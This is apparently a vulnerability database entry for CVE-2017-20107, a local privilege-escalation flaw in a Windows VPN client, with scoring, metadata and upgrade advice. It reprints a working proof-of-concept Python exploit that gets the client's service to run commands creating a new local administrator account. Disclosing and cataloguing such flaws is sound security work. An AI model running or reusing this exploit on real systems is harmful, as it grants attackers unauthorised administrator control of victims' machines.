CVSS Meta Temp Score | Current Exploit Price (≈) | CTI Interest Score |
---|---|---|
4.6 | $0-$5k | 0.00 |
A vulnerability, which was classified as problematic, was found in ShadeYouVPN.com Client 2.0.1.11 on Windows. Affected is an unknown code. The manipulation with an unknown input leads to a privileges management vulnerability. CWE is classifying the issue as CWE-269. The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. This is going to have an impact on confidentiality, integrity, and availability.
The weakness was disclosed 02/14/2017 by Kacper Szurek as ShadeYouVPN.com Client v2.0.1.11 for Windows Privilege Escalation as not defined mailinglist post (Full-Disclosure). The advisory is available at seclists.org. This vulnerability is traded as CVE-2017-20107. Local access is required to approach this attack. A authentication is needed for exploitation. Technical details are unknown but a public exploit is available. This vulnerability is assigned to T1068 by the MITRE ATT&CK project.
A public exploit has been developed by Kacper Szurek and been published immediately after the advisory. The exploit is shared for download at seclists.org. It is declared as proof-of-concept. The code used by the exploit is:
import socket import tempfile print "ShadeYouVPN.com Client v2.0.1.11 for Windows Privilege Escalation" print "by Kacper Szurek" print "https://security.szurek.pl/"; print "https://twitter.com/KacperSzurek"; t = tempfile.TemporaryFile(delete=False, suffix='.bat') t.write("net user shade /add\n") t.write("net localgroup administrators shade /add") t.close() s = socket.socket() s.connect(("127.0.0.1", 10295)) s.send("s||config|"+t.name+"|ccccc|ddddd|eeee|ffff|\r\n") print s.recv(1024) print s.recv(1024)
Upgrading to version 2.0.1.12 eliminates this vulnerability.
Product
Vendor
Name
Version
CPE 2.3
CPE 2.2
CVSSv4
VulDB CVSS-B Score: 🔍VulDB CVSS-BT Score: 🔍
VulDB Vector: 🔍
VulDB Reliability: 🔍
CVSSv3
VulDB Meta Base Score: 5.3VulDB Meta Temp Score: 4.6
VulDB Base Score: 5.3
VulDB Temp Score: 4.6
VulDB Vector: 🔍
VulDB Reliability: 🔍
CVSSv2
AV | AC | Au | C | I | A |
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💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
Vector | Complexity | Authentication | Confidentiality | Integrity | Availability |
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unlock | unlock | unlock | unlock | unlock | unlock |
unlock | unlock | unlock | unlock | unlock | unlock |
unlock | unlock | unlock | unlock | unlock | unlock |
VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍
Exploiting
Class: Privileges managementCWE: CWE-269 / CWE-266
CAPEC: 🔍
ATT&CK: 🔍
Local: Yes
Remote: No
Availability: 🔍
Access: Public
Status: Proof-of-Concept
Author: Kacper Szurek
Download: 🔍
EPSS Score: 🔍
EPSS Percentile: 🔍
Price Prediction: 🔍
Current Price Estimation: 🔍
0-Day | unlock | unlock | unlock | unlock |
---|---|---|---|---|
Today | unlock | unlock | unlock | unlock |
Threat Intelligence
Interest: 🔍Active Actors: 🔍
Active APT Groups: 🔍
Countermeasures
Recommended: UpgradeStatus: 🔍
0-Day Time: 🔍
Exploit Delay Time: 🔍
Upgrade: Client 2.0.1.12
Timeline
02/14/2017 🔍02/14/2017 🔍
02/20/2017 🔍
06/25/2022 🔍
Sources
Advisory: ShadeYouVPN.com Client v2.0.1.11 for Windows Privilege EscalationResearcher: Kacper Szurek
Status: Not defined
CVE: CVE-2017-20107 (🔍)
scip Labs: https://www.scip.ch/en/?labs.20161013
Entry
Created: 02/20/2017 08:14Updated: 06/25/2022 18:22
Changes: 02/20/2017 08:14 (46), 08/15/2020 22:20 (1), 06/25/2022 18:22 (2)
Complete: 🔍
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